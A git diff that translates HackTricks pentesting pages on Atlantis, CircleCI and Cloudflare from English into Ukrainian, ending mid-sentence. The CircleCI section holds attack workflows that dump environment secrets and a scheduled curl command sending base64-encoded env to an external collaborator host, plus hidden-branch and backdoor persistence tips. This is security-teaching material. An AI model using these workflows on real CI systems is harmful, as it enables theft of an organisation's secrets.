can also pass these as environment variables `ATLANTIS_WEB_BASIC_AUTH=true` `ATLANTIS_WEB_USERNAME=yourUsername` and `ATLANTIS_WEB_PASSWORD=yourPassword`. +Ви також можете передати їх як змінні середовища `ATLANTIS_WEB_BASIC_AUTH=true` `ATLANTIS_WEB_USERNAME=yourUsername` та `ATLANTIS_WEB_PASSWORD=yourPassword`. ### References @@ -386,7 +370,3 @@ You can also pass these as environment variables `ATLANTIS_WEB_BASIC_AUTH=true` - [**https://www.runatlantis.io/docs/provider-credentials.html**](https://www.runatlantis.io/docs/provider-credentials.html) {{#include ../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/circleci-security.md b/src/pentesting-ci-cd/circleci-security.md index 8b8a1fea1..f862df257 100644 --- a/src/pentesting-ci-cd/circleci-security.md +++ b/src/pentesting-ci-cd/circleci-security.md @@ -4,256 +4,232 @@ ### Basic Information -[**CircleCI**](https://circleci.com/docs/2.0/about-circleci/) is a Continuos Integration platform where you can **define templates** indicating what you want it to do with some code and when to do it. This way you can **automate testing** or **deployments** directly **from your repo master branch** for example. +[**CircleCI**](https://circleci.com/docs/2.0/about-circleci/) є платформою безперервної інтеграції, де ви можете **визначити шаблони**, вказуючи, що ви хочете, щоб вона робила з деяким кодом і коли це робити. Таким чином, ви можете **автоматизувати тестування** або **деплойменти** безпосередньо **з вашої основної гілки репозиторію**, наприклад. ### Permissions -**CircleCI** **inherits the permissions** from github and bitbucket related to the **account** that logs in.\ -In my testing I checked that as long as you have **write permissions over the repo in github**, you are going to be able to **manage its project settings in CircleCI** (set new ssh keys, get project api keys, create new branches with new CircleCI configs...). +**CircleCI** **успадковує дозволи** з github та bitbucket, пов'язані з **обліковим записом**, який входить.\ +У моєму тестуванні я перевірив, що, поки у вас є **права на запис у репозиторії в github**, ви зможете **керувати налаштуваннями проекту в CircleCI** (встановлювати нові ssh-ключі, отримувати api-ключі проекту, створювати нові гілки з новими конфігураціями CircleCI...). -However, you need to be a a **repo admin** in order to **convert the repo into a CircleCI project**. +Однак, вам потрібно бути **адміністратором репозиторію**, щоб **перетворити репозиторій на проект CircleCI**. ### Env Variables & Secrets -According to [**the docs**](https://circleci.com/docs/2.0/env-vars/) there are different ways to **load values in environment variables** inside a workflow. +Згідно з [**документацією**](https://circleci.com/docs/2.0/env-vars/) існують різні способи **завантаження значень у змінні середовища** всередині робочого процесу. #### Built-in env variables -Every container run by CircleCI will always have [**specific env vars defined in the documentation**](https://circleci.com/docs/2.0/env-vars/#built-in-environment-variables) like `CIRCLE_PR_USERNAME`, `CIRCLE_PROJECT_REPONAME` or `CIRCLE_USERNAME`. +Кожен контейнер, запущений CircleCI, завжди матиме [**конкретні змінні середовища, визначені в документації**](https://circleci.com/docs/2.0/env-vars/#built-in-environment-variables) такі як `CIRCLE_PR_USERNAME`, `CIRCLE_PROJECT_REPONAME` або `CIRCLE_USERNAME`. #### Clear text -You can declare them in clear text inside a **command**: - +Ви можете оголосити їх у відкритому тексті всередині **команди**: ```yaml - run: - name: "set and echo" - command: | - SECRET="A secret" - echo $SECRET +name: "set and echo" +command: | +SECRET="A secret" +echo $SECRET ``` - -You can declare them in clear text inside the **run environment**: - +Ви можете оголосити їх у відкритому тексті всередині **run environment**: ```yaml - run: - name: "set and echo" - command: echo $SECRET - environment: - SECRET: A secret +name: "set and echo" +command: echo $SECRET +environment: +SECRET: A secret ``` - -You can declare them in clear text inside the **build-job environment**: - +Ви можете оголосити їх у відкритому тексті всередині **build-job environment**: ```yaml jobs: - build-job: - docker: - - image: cimg/base:2020.01 - environment: - SECRET: A secret +build-job: +docker: +- image: cimg/base:2020.01 +environment: +SECRET: A secret ``` - -You can declare them in clear text inside the **environment of a container**: - +Ви можете оголосити їх у відкритому тексті всередині **середовища контейнера**: ```yaml jobs: - build-job: - docker: - - image: cimg/base:2020.01 - environment: - SECRET: A secret +build-job: +docker: +- image: cimg/base:2020.01 +environment: +SECRET: A secret ``` +#### Секрети проекту -#### Project Secrets - -These are **secrets** that are only going to be **accessible** by the **project** (by **any branch**).\ -You can see them **declared in** _https://app.circleci.com/settings/project/github/\/\/environment-variables_ +Це **секрети**, які будуть **доступні** лише **проекту** (для **будь-якої гілки**).\ +Ви можете побачити їх **оголошеними в** _https://app.circleci.com/settings/project/github/\/\/environment-variables_ ![](<../images/image (129).png>) > [!CAUTION] -> The "**Import Variables**" functionality allows to **import variables from other projects** to this one. +> Функціональність "**Імпорт змінних**" дозволяє **імпортувати змінні з інших проектів** до цього. -#### Context Secrets +#### Секрети контексту -These are secrets that are **org wide**. By **default any repo** is going to be able to **access any secret** stored here: +Це секрети, які є **всередині організації**. За **замовчуванням будь-який репозиторій** зможе **доступати до будь-якого секрету**, збереженого тут: ![](<../images/image (123).png>) > [!TIP] -> However, note that a different group (instead of All members) can be **selected to only give access to the secrets to specific people**.\ -> This is currently one of the best ways to **increase the security of the secrets**, to not allow everybody to access them but just some people. +> Однак зверніть увагу, що можна **вибрати іншу групу** (замість усіх учасників), щоб **надавати доступ до секретів лише конкретним людям**.\ +> Це наразі один з найкращих способів **підвищити безпеку секретів**, не дозволяючи всім отримувати до них доступ, а лише деяким. -### Attacks +### Атаки -#### Search Clear Text Secrets +#### Пошук секретів у відкритому тексті -If you have **access to the VCS** (like github) check the file `.circleci/config.yml` of **each repo on each branch** and **search** for potential **clear text secrets** stored in there. +Якщо у вас є **доступ до VCS** (наприклад, github), перевірте файл `.circleci/config.yml` **кожного репозиторію на кожній гілці** та **шукайте** потенційні **секрети у відкритому тексті**, збережені там. -#### Secret Env Vars & Context enumeration +#### Перерахування секретних змінних середовища та контексту -Checking the code you can find **all the secrets names** that are being **used** in each `.circleci/config.yml` file. You can also get the **context names** from those files or check them in the web console: _https://app.circleci.com/settings/organization/github/\/contexts_. +Перевіряючи код, ви можете знайти **всі назви секретів**, які **використовуються** в кожному файлі `.circleci/config.yml`. Ви також можете отримати **назви контекстів** з цих файлів або перевірити їх у веб-консолі: _https://app.circleci.com/settings/organization/github/\/contexts_. -#### Exfiltrate Project secrets +#### Екстракція секретів проекту > [!WARNING] -> In order to **exfiltrate ALL** the project and context **SECRETS** you **just** need to have **WRITE** access to **just 1 repo** in the whole github org (_and your account must have access to the contexts but by default everyone can access every context_). +> Щоб **екстрагувати ВСІ** секрети проекту та контексту, вам **просто** потрібно мати **ПРАВО НА ЗАПИС** до **лише 1 репозиторію** в усій організації github (_і ваш обліковий запис повинен мати доступ до контекстів, але за замовчуванням кожен може отримати доступ до кожного контексту_). > [!CAUTION] -> The "**Import Variables**" functionality allows to **import variables from other projects** to this one. Therefore, an attacker could **import all the project variables from all the repos** and then **exfiltrate all of them together**. - -All the project secrets always are set in the env of the jobs, so just calling env and obfuscating it in base64 will exfiltrate the secrets in the **workflows web log console**: +> Функціональність "**Імпорт змінних**" дозволяє **імпортувати змінні з інших проектів** до цього. Тому зловмисник може **імпортувати всі змінні проекту з усіх репозиторіїв** і потім **екстрагувати їх усі разом**. +Усі секрети проекту завжди встановлюються в середовищі завдань, тому просто викликавши env і обфускацію в base64, ви екстрагуєте секрети в **консолі веб-логів робочих процесів**: ```yaml version: 2.1 jobs: - exfil-env: - docker: - - image: cimg/base:stable - steps: - - checkout - - run: - name: "Exfil env" - command: "env | base64" +exfil-env: +docker: +- image: cimg/base:stable +steps: +- checkout +- run: +name: "Exfil env" +command: "env | base64" workflows: - exfil-env-workflow: - jobs: - - exfil-env +exfil-env-workflow: +jobs: +- exfil-env ``` - -If you **don't have access to the web console** but you have **access to the repo** and you know that CircleCI is used, you can just **create a workflow** that is **triggered every minute** and that **exfils the secrets to an external address**: - +Якщо ви **не маєте доступу до веб-консолі**, але у вас є **доступ до репозиторію** і ви знаєте, що використовується CircleCI, ви можете просто **створити робочий процес**, який **запускається кожну хвилину** і **експортує секрети на зовнішню адресу**: ```yaml version: 2.1 jobs: - exfil-env: - docker: - - image: cimg/base:stable - steps: - - checkout - - run: - name: "Exfil env" - command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`" +exfil-env: +docker: +- image: cimg/base:stable +steps: +- checkout +- run: +name: "Exfil env" +command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`" # I filter by the repo branch where this config.yaml file is located: circleci-project-setup workflows: - exfil-env-workflow: - triggers: - - schedule: - cron: "* * * * *" - filters: - branches: - only: - - circleci-project-setup - jobs: - - exfil-env +exfil-env-workflow: +triggers: +- schedule: +cron: "* * * * *" +filters: +branches: +only: +- circleci-project-setup +jobs: +- exfil-env ``` +#### Екстракція секретів контексту -#### Exfiltrate Context Secrets - -You need to **specify the context name** (this will also exfiltrate the project secrets): - +Вам потрібно **вказати ім'я контексту** (це також екстрактує секрети проекту): ```yaml version: 2.1 jobs: - exfil-env: - docker: - - image: cimg/base:stable - steps: - - checkout - - run: - name: "Exfil env" - command: "env | base64" +exfil-env: +docker: +- image: cimg/base:stable +steps: +- checkout +- run: +name: "Exfil env" +command: "env | base64" workflows: - exfil-env-workflow: - jobs: - - exfil-env: - context: Test-Context +exfil-env-workflow: +jobs: +- exfil-env: +context: Test-Context ``` - -If you **don't have access to the web console** but you have **access to the repo** and you know that CircleCI is used, you can just **modify a workflow** that is **triggered every minute** and that **exfils the secrets to an external address**: - +Якщо ви **не маєте доступу до веб-консолі**, але у вас є **доступ до репозиторію** і ви знаєте, що використовується CircleCI, ви можете просто **змінити робочий процес**, який **тригериться кожну хвилину** і **експортує секрети на зовнішню адресу**: ```yaml version: 2.1 jobs: - exfil-env: - docker: - - image: cimg/base:stable - steps: - - checkout - - run: - name: "Exfil env" - command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`" +exfil-env: +docker: +- image: cimg/base:stable +steps: +- checkout +- run: +name: "Exfil env" +command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`" # I filter by the repo branch where this config.yaml file is located: circleci-project-setup workflows: - exfil-env-workflow: - triggers: - - schedule: - cron: "* * * * *" - filters: - branches: - only: - - circleci-project-setup - jobs: - - exfil-env: - context: Test-Context +exfil-env-workflow: +triggers: +- schedule: +cron: "* * * * *" +filters: +branches: +only: +- circleci-project-setup +jobs: +- exfil-env: +context: Test-Context ``` - > [!WARNING] -> Just creating a new `.circleci/config.yml` in a repo **isn't enough to trigger a circleci build**. You need to **enable it as a project in the circleci console**. +> Просто створення нового `.circleci/config.yml` в репозиторії **не є достатнім для запуску збірки circleci**. Вам потрібно **увімкнути його як проект у консолі circleci**. -#### Escape to Cloud +#### Втеча в Хмару -**CircleCI** gives you the option to run **your builds in their machines or in your own**.\ -By default their machines are located in GCP, and you initially won't be able to fid anything relevant. However, if a victim is running the tasks in **their own machines (potentially, in a cloud env)**, you might find a **cloud metadata endpoint with interesting information on it**. - -Notice that in the previous examples it was launched everything inside a docker container, but you can also **ask to launch a VM machine** (which may have different cloud permissions): +**CircleCI** надає вам можливість запускати **ваші збірки на їхніх машинах або на ваших власних**.\ +За замовчуванням їхні машини розташовані в GCP, і спочатку ви не зможете знайти нічого релевантного. Однак, якщо жертва виконує завдання на **своїх власних машинах (можливо, у хмарному середовищі)**, ви можете знайти **кінцеву точку метаданих хмари з цікавою інформацією**. +Зверніть увагу, що в попередніх прикладах все запускалося всередині контейнера docker, але ви також можете **попросити запустити віртуальну машину** (яка може мати різні хмарні дозволи): ```yaml jobs: - exfil-env: - #docker: - # - image: cimg/base:stable - machine: - image: ubuntu-2004:current +exfil-env: +#docker: +# - image: cimg/base:stable +machine: +image: ubuntu-2004:current ``` - -Or even a docker container with access to a remote docker service: - +Або навіть контейнер Docker з доступом до віддаленого сервісу Docker: ```yaml jobs: - exfil-env: - docker: - - image: cimg/base:stable - steps: - - checkout - - setup_remote_docker: - version: 19.03.13 +exfil-env: +docker: +- image: cimg/base:stable +steps: +- checkout +- setup_remote_docker: +version: 19.03.13 ``` - #### Persistence -- It's possible to **create** **user tokens in CircleCI** to access the API endpoints with the users access. - - _https://app.circleci.com/settings/user/tokens_ -- It's possible to **create projects tokens** to access the project with the permissions given to the token. - - _https://app.circleci.com/settings/project/github/\/\/api_ -- It's possible to **add SSH keys** to the projects. - - _https://app.circleci.com/settings/project/github/\/\/ssh_ -- It's possible to **create a cron job in hidden branch** in an unexpected project that is **leaking** all the **context env** vars everyday. - - Or even create in a branch / modify a known job that will **leak** all context and **projects secrets** everyday. -- If you are a github owner you can **allow unverified orbs** and configure one in a job as **backdoor** -- You can find a **command injection vulnerability** in some task and **inject commands** via a **secret** modifying its value +- Можна **створити** **токени користувача в CircleCI** для доступу до API-інтерфейсів з доступом користувача. +- _https://app.circleci.com/settings/user/tokens_ +- Можна **створити токени проекту** для доступу до проекту з правами, наданими токену. +- _https://app.circleci.com/settings/project/github/\/\/api_ +- Можна **додати SSH-ключі** до проектів. +- _https://app.circleci.com/settings/project/github/\/\/ssh_ +- Можна **створити cron job в прихованій гілці** в несподіваному проекті, який **витікає** всі **змінні середовища контексту** щодня. +- Або навіть створити в гілці / змінити відоме завдання, яке буде **витікати** всі контексти та **секрети проектів** щодня. +- Якщо ви є власником github, ви можете **дозволити неперевірені orbs** і налаштувати один у завданні як **задню двері**. +- Ви можете знайти **вразливість до ін'єкції команд** в деякому завданні та **ін'єктувати команди** через **секрет**, змінюючи його значення. {{#include ../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/cloudflare-security/README.md b/src/pentesting-ci-cd/cloudflare-security/README.md index 77d2c2c50..aa330df5a 100644 --- a/src/pentesting-ci-cd/cloudflare-security/README.md +++ b/src/pentesting-ci-cd/cloudflare-security/README.md @@ -2,13 +2,13 @@ {{#include ../../banners/hacktricks-training.md}} -In a Cloudflare account there are some **general settings and services** that can be configured. In this page we are going to **analyze the security related settings of each section:** +У обліковому записі Cloudflare є деякі **загальні налаштування та сервіси**, які можна налаштувати. На цій сторінці ми будемо **аналізувати налаштування, пов'язані з безпекою, кожного розділу:**
## Websites -Review each with: +Перегляньте кожен з: {{#ref}} cloudflare-domains.md @@ -16,9 +16,9 @@ cloudflare-domains.md ### Domain Registration -- [ ] In **`Transfer Domains`** check that it's not possible to transfer any domain. +- [ ] У **`Transfer Domains`** перевірте, що неможливо передати жоден домен. -Review each with: +Перегляньте кожен з: {{#ref}} cloudflare-domains.md @@ -26,39 +26,39 @@ cloudflare-domains.md ## Analytics -_I couldn't find anything to check for a config security review._ +_Я не зміг знайти нічого для перевірки безпеки конфігурації._ ## Pages -On each Cloudflare's page: +На кожній сторінці Cloudflare: -- [ ] Check for **sensitive information** in the **`Build log`**. -- [ ] Check for **sensitive information** in the **Github repository** assigned to the pages. -- [ ] Check for potential github repo compromise via **workflow command injection** or `pull_request_target` compromise. More info in the [**Github Security page**](../github-security/). -- [ ] Check for **vulnerable functions** in the `/fuctions` directory (if any), check the **redirects** in the `_redirects` file (if any) and **misconfigured headers** in the `_headers` file (if any). -- [ ] Check for **vulnerabilities** in the **web page** via **blackbox** or **whitebox** if you can **access the code** -- [ ] In the details of each page `//pages/view/blocklist/settings/functions`. Check for **sensitive information** in the **`Environment variables`**. -- [ ] In the details page check also the **build command** and **root directory** for **potential injections** to compromise the page. +- [ ] Перевірте наявність **чутливої інформації** у **`Build log`**. +- [ ] Перевірте наявність **чутливої інформації** у **Github репозиторії**, призначеному для сторінок. +- [ ] Перевірте наявність потенційного компрометації репозиторію github через **workflow command injection** або компрометацію `pull_request_target`. Більше інформації на [**Github Security page**](../github-security/). +- [ ] Перевірте наявність **вразливих функцій** у каталозі `/fuctions` (якщо є), перевірте **перенаправлення** у файлі `_redirects` (якщо є) та **неправильно налаштовані заголовки** у файлі `_headers` (якщо є). +- [ ] Перевірте наявність **вразливостей** на **веб-сторінці** через **blackbox** або **whitebox**, якщо ви можете **доступитися до коду**. +- [ ] У деталях кожної сторінки `//pages/view/blocklist/settings/functions`. Перевірте наявність **чутливої інформації** у **`Environment variables`**. +- [ ] У деталях сторінки також перевірте **команду збірки** та **кореневий каталог** на наявність **потенційних ін'єкцій**, які можуть скомпрометувати сторінку. ## **Workers** -On each Cloudflare's worker check: +На кожному робітнику Cloudflare перевірте: -- [ ] The triggers: What makes the worker trigger? Can a **user send data** that will be **used** by the worker? -- [ ] In the **`Settings`**, check for **`Variables`** containing **sensitive information** -- [ ] Check the **code of the worker** and search for **vulnerabilities** (specially in places where the user can manage the input) - - Check for SSRFs returning the indicated page that you can control - - Check XSSs executing JS inside a svg image - - It is possible that the worker interacts with other internal services. For example, a worker may interact with a R2 bucket storing information in it obtained from the input. In that case, it would be necessary to check what capabilities does the worker have over the R2 bucket and how could it be abused from the user input. +- [ ] Тригери: Що викликає тригер робітника? Чи може **користувач надіслати дані**, які будуть **використані** робітником? +- [ ] У **`Settings`**, перевірте наявність **`Variables`**, що містять **чутливу інформацію**. +- [ ] Перевірте **код робітника** та шукайте **вразливості** (особливо в місцях, де користувач може керувати введенням). +- Перевірте наявність SSRF, що повертає вказану сторінку, яку ви можете контролювати. +- Перевірте XSS, що виконує JS всередині svg зображення. +- Можливо, що робітник взаємодіє з іншими внутрішніми сервісами. Наприклад, робітник може взаємодіяти з R2 бакетом, що зберігає інформацію, отриману з введення. У такому випадку необхідно перевірити, які можливості має робітник над R2 бакетом і як це може бути зловжито з боку введення користувача. > [!WARNING] -> Note that by default a **Worker is given a URL** such as `..workers.dev`. The user can set it to a **subdomain** but you can always access it with that **original URL** if you know it. +> Зверніть увагу, що за замовчуванням **Робітнику надається URL** на зразок `..workers.dev`. Користувач може налаштувати його на **піддомен**, але ви завжди можете отримати доступ до нього за цим **оригінальним URL**, якщо знаєте його. ## R2 -On each R2 bucket check: +На кожному R2 бакеті перевірте: -- [ ] Configure **CORS Policy**. +- [ ] Налаштуйте **CORS Policy**. ## Stream @@ -70,8 +70,8 @@ TODO ## Security Center -- [ ] If possible, run a **`Security Insights`** **scan** and an **`Infrastructure`** **scan**, as they will **highlight** interesting information **security** wise. -- [ ] Just **check this information** for security misconfigurations and interesting info +- [ ] Якщо можливо, запустіть **`Security Insights`** **сканування** та **`Infrastructure`** **сканування**, оскільки вони **підкреслять** цікаву інформацію з точки зору **безпеки**. +- [ ] Просто **перевірте цю інформацію** на предмет неправильних налаштувань безпеки та цікавої інформації. ## Turnstile @@ -86,53 +86,49 @@ cloudflare-zero-trust-network.md ## Bulk Redirects > [!NOTE] -> Unlike [Dynamic Redirects](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/), [**Bulk Redirects**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/) are essentially static — they do **not support any string replacement** operations or regular expressions. However, you can configure URL redirect parameters that affect their URL matching behavior and their runtime behavior. +> На відміну від [Dynamic Redirects](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/), [**Bulk Redirects**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/) є в основному статичними — вони не підтримують жодні операції заміни рядків або регулярні вирази. Однак ви можете налаштувати параметри перенаправлення URL, які впливають на їх поведінку при співпадінні URL та їх поведінку під час виконання. -- [ ] Check that the **expressions** and **requirements** for redirects **make sense**. -- [ ] Check also for **sensitive hidden endpoints** that you contain interesting info. +- [ ] Перевірте, що **вирази** та **вимоги** для перенаправлень **мають сенс**. +- [ ] Також перевірте наявність **чутливих прихованих кінцевих точок**, які містять цікаву інформацію. ## Notifications -- [ ] Check the **notifications.** These notifications are recommended for security: - - `Usage Based Billing` - - `HTTP DDoS Attack Alert` - - `Layer 3/4 DDoS Attack Alert` - - `Advanced HTTP DDoS Attack Alert` - - `Advanced Layer 3/4 DDoS Attack Alert` - - `Flow-based Monitoring: Volumetric Attack` - - `Route Leak Detection Alert` - - `Access mTLS Certificate Expiration Alert` - - `SSL for SaaS Custom Hostnames Alert` - - `Universal SSL Alert` - - `Script Monitor New Code Change Detection Alert` - - `Script Monitor New Domain Alert` - - `Script Monitor New Malicious Domain Alert` - - `Script Monitor New Malicious Script Alert` - - `Script Monitor New Malicious URL Alert` - - `Script Monitor New Scripts Alert` - - `Script Monitor New Script Exceeds Max URL Length Alert` - - `Advanced Security Events Alert` - - `Security Events Alert` -- [ ] Check all the **destinations**, as there could be **sensitive info** (basic http auth) in webhook urls. Make also sure webhook urls use **HTTPS** - - [ ] As extra check, you could try to **impersonate a cloudflare notification** to a third party, maybe you can somehow **inject something dangerous** +- [ ] Перевірте **сповіщення**. Ці сповіщення рекомендуються для безпеки: +- `Usage Based Billing` +- `HTTP DDoS Attack Alert` +- `Layer 3/4 DDoS Attack Alert` +- `Advanced HTTP DDoS Attack Alert` +- `Advanced Layer 3/4 DDoS Attack Alert` +- `Flow-based Monitoring: Volumetric Attack` +- `Route Leak Detection Alert` +- `Access mTLS Certificate Expiration Alert` +- `SSL for SaaS Custom Hostnames Alert` +- `Universal SSL Alert` +- `Script Monitor New Code Change Detection Alert` +- `Script Monitor New Domain Alert` +- `Script Monitor New Malicious Domain Alert` +- `Script Monitor New Malicious Script Alert` +- `Script Monitor New Malicious URL Alert` +- `Script Monitor New Scripts Alert` +- `Script Monitor New Script Exceeds Max URL Length Alert` +- `Advanced Security Events Alert` +- `Security Events Alert` +- [ ] Перевірте всі **призначення**, оскільки можуть бути **чутливі дані** (базова http аутентифікація) у URL вебхуків. Також переконайтеся, що URL вебхуків використовують **HTTPS**. +- [ ] Як додаткову перевірку, ви можете спробувати **видавати себе за сповіщення Cloudflare** для третьої сторони, можливо, ви зможете якимось чином **впровадити щось небезпечне**. ## Manage Account -- [ ] It's possible to see the **last 4 digits of the credit card**, **expiration** time and **billing address** in **`Billing` -> `Payment info`**. -- [ ] It's possible to see the **plan type** used in the account in **`Billing` -> `Subscriptions`**. -- [ ] In **`Members`** it's possible to see all the members of the account and their **role**. Note that if the plan type isn't Enterprise, only 2 roles exist: Administrator and Super Administrator. But if the used **plan is Enterprise**, [**more roles**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) can be used to follow the least privilege principle. - - Therefore, whenever possible is **recommended** to use the **Enterprise plan**. -- [ ] In Members it's possible to check which **members** has **2FA enabled**. **Every** user should have it enabled. +- [ ] Можна побачити **останні 4 цифри кредитної картки**, **термін дії** та **адресу для виставлення рахунків** у **`Billing` -> `Payment info`**. +- [ ] Можна побачити **тип плану**, що використовується в обліковому записі, у **`Billing` -> `Subscriptions`**. +- [ ] У **`Members`** можна побачити всіх учасників облікового запису та їх **роль**. Зверніть увагу, що якщо тип плану не є Enterprise, існують лише 2 ролі: Адміністратор та Супер Адміністратор. Але якщо використовується **план Enterprise**, [**більше ролей**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) можуть бути використані для дотримання принципу найменших привілеїв. +- Тому, коли це можливо, **рекомендується** використовувати **Enterprise план**. +- [ ] У членах можна перевірити, які **учасники** мають **2FA увімкнено**. **Кожен** користувач повинен мати його увімкненим. > [!NOTE] -> Note that fortunately the role **`Administrator`** doesn't give permissions to manage memberships (**cannot escalate privs or invite** new members) +> Зверніть увагу, що, на щастя, роль **`Administrator`** не надає дозволів на управління членством (**не може підвищити привілеї або запрошувати** нових учасників). ## DDoS Investigation -[Check this part](cloudflare-domains.md#cloudflare-ddos-protection). +[Перевірте цю частину](cloudflare-domains.md#cloudflare-ddos-protection). {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md b/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md index 02989e685..1204dae1b 100644 --- a/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md +++ b/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md @@ -2,31 +2,31 @@ {{#include ../../banners/hacktricks-training.md}} -In each TLD configured in Cloudflare there are some **general settings and services** that can be configured. In this page we are going to **analyze the security related settings of each section:** +В кожному TLD, налаштованому в Cloudflare, є деякі **загальні налаштування та сервіси**, які можна налаштувати. На цій сторінці ми будемо **аналізувати налаштування, пов'язані з безпекою, кожного розділу:**
-### Overview +### Огляд -- [ ] Get a feeling of **how much** are the services of the account **used** -- [ ] Find also the **zone ID** and the **account ID** +- [ ] Отримати уявлення про **те, наскільки** сервіси облікового запису **використовуються** +- [ ] Знайти також **zone ID** та **account ID** -### Analytics +### Аналітика -- [ ] In **`Security`** check if there is any **Rate limiting** +- [ ] У **`Security`** перевірте, чи є будь-яке **обмеження швидкості** ### DNS -- [ ] Check **interesting** (sensitive?) data in DNS **records** -- [ ] Check for **subdomains** that could contain **sensitive info** just based on the **name** (like admin173865324.domin.com) -- [ ] Check for web pages that **aren't** **proxied** -- [ ] Check for **proxified web pages** that can be **accessed directly** by CNAME or IP address -- [ ] Check that **DNSSEC** is **enabled** -- [ ] Check that **CNAME Flattening** is **used** in **all CNAMEs** - - This is could be useful to **hide subdomain takeover vulnerabilities** and improve load timings -- [ ] Check that the domains [**aren't vulnerable to spoofing**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-smtp#mail-spoofing) +- [ ] Перевірте **цікаві** (чутливі?) дані в DNS **записах** +- [ ] Перевірте наявність **субдоменів**, які можуть містити **чутливу інформацію** лише на основі **імені** (наприклад, admin173865324.domin.com) +- [ ] Перевірте веб-сторінки, які **не є** **проксованими** +- [ ] Перевірте **проксовані веб-сторінки**, до яких можна **доступитися безпосередньо** за допомогою CNAME або IP-адреси +- [ ] Перевірте, що **DNSSEC** **увімкнено** +- [ ] Перевірте, що **CNAME Flattening** **використовується** в **усіх CNAME** +- Це може бути корисно для **приховування вразливостей захоплення субдоменів** та покращення часу завантаження +- [ ] Перевірте, що домени [**не вразливі до спуфінгу**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-smtp#mail-spoofing) -### **Email** +### **Електронна пошта** TODO @@ -36,91 +36,91 @@ TODO ### SSL/TLS -#### **Overview** +#### **Огляд** -- [ ] The **SSL/TLS encryption** should be **Full** or **Full (Strict)**. Any other will send **clear-text traffic** at some point. -- [ ] The **SSL/TLS Recommender** should be enabled +- [ ] **Шифрування SSL/TLS** має бути **Повним** або **Повним (Суворим)**. Будь-який інший варіант на деякому етапі відправить **трафік у відкритому тексті**. +- [ ] **Рекомендатор SSL/TLS** має бути увімкнено -#### Edge Certificates +#### Сертифікати Edge -- [ ] **Always Use HTTPS** should be **enabled** -- [ ] **HTTP Strict Transport Security (HSTS)** should be **enabled** -- [ ] **Minimum TLS Version should be 1.2** -- [ ] **TLS 1.3 should be enabled** -- [ ] **Automatic HTTPS Rewrites** should be **enabled** -- [ ] **Certificate Transparency Monitoring** should be **enabled** +- [ ] **Завжди використовувати HTTPS** має бути **увімкнено** +- [ ] **HTTP Strict Transport Security (HSTS)** має бути **увімкнено** +- [ ] **Мінімальна версія TLS має бути 1.2** +- [ ] **TLS 1.3 має бути увімкнено** +- [ ] **Автоматичні переписування HTTPS** мають бути **увімкнені** +- [ ] **Моніторинг прозорості сертифікатів** має бути **увімкнено** -### **Security** +### **Безпека** -- [ ] In the **`WAF`** section it's interesting to check that **Firewall** and **rate limiting rules are used** to prevent abuses. - - The **`Bypass`** action will **disable Cloudflare security** features for a request. It shouldn't be used. -- [ ] In the **`Page Shield`** section it's recommended to check that it's **enabled** if any page is used -- [ ] In the **`API Shield`** section it's recommended to check that it's **enabled** if any API is exposed in Cloudflare -- [ ] In the **`DDoS`** section it's recommended to enable the **DDoS protections** -- [ ] In the **`Settings`** section: - - [ ] Check that the **`Security Level`** is **medium** or greater - - [ ] Check that the **`Challenge Passage`** is 1 hour at max - - [ ] Check that the **`Browser Integrity Check`** is **enabled** - - [ ] Check that the **`Privacy Pass Support`** is **enabled** +- [ ] У розділі **`WAF`** цікаво перевірити, що **правила брандмауера** та **обмеження швидкості використовуються** для запобігання зловживанням. +- Дія **`Bypass`** **відключить функції безпеки Cloudflare** для запиту. Її не слід використовувати. +- [ ] У розділі **`Page Shield`** рекомендується перевірити, що він **увімкнений**, якщо використовується будь-яка сторінка +- [ ] У розділі **`API Shield`** рекомендується перевірити, що він **увімкнений**, якщо будь-який API відкритий у Cloudflare +- [ ] У розділі **`DDoS`** рекомендується увімкнути **захист від DDoS** +- [ ] У розділі **`Settings`**: +- [ ] Перевірте, що **`Security Level`** є **середнім** або вищим +- [ ] Перевірте, що **`Challenge Passage`** становить максимум 1 годину +- [ ] Перевірте, що **`Browser Integrity Check`** **увімкнено** +- [ ] Перевірте, що **`Privacy Pass Support`** **увімкнено** -#### **CloudFlare DDoS Protection** +#### **Захист DDoS CloudFlare** -- If you can, enable **Bot Fight Mode** or **Super Bot Fight Mode**. If you protecting some API accessed programmatically (from a JS front end page for example). You might not be able to enable this without breaking that access. -- In **WAF**: You can create **rate limits by URL path** or to **verified bots** (Rate limiting rules), or to **block access** based on IP, Cookie, referrer...). So you could block requests that doesn't come from a web page or has a cookie. - - If the attack is from a **verified bot**, at least **add a rate limit** to bots. - - If the attack is to a **specific path**, as prevention mechanism, add a **rate limit** in this path. - - You can also **whitelist** IP addresses, IP ranges, countries or ASNs from the **Tools** in WAF. - - Check if **Managed rules** could also help to prevent vulnerability exploitations. - - In the **Tools** section you can **block or give a challenge to specific IPs** and **user agents.** -- In DDoS you could **override some rules to make them more restrictive**. -- **Settings**: Set **Security Level** to **High** and to **Under Attack** if you are Under Attack and that the **Browser Integrity Check is enabled**. -- In Cloudflare Domains -> Analytics -> Security -> Check if **rate limit** is enabled -- In Cloudflare Domains -> Security -> Events -> Check for **detected malicious Events** +- Якщо можете, увімкніть **Bot Fight Mode** або **Super Bot Fight Mode**. Якщо ви захищаєте якийсь API, доступний програмно (наприклад, з JS фронтенд-сторінки). Ви можете не зможете увімкнути це, не зламавши 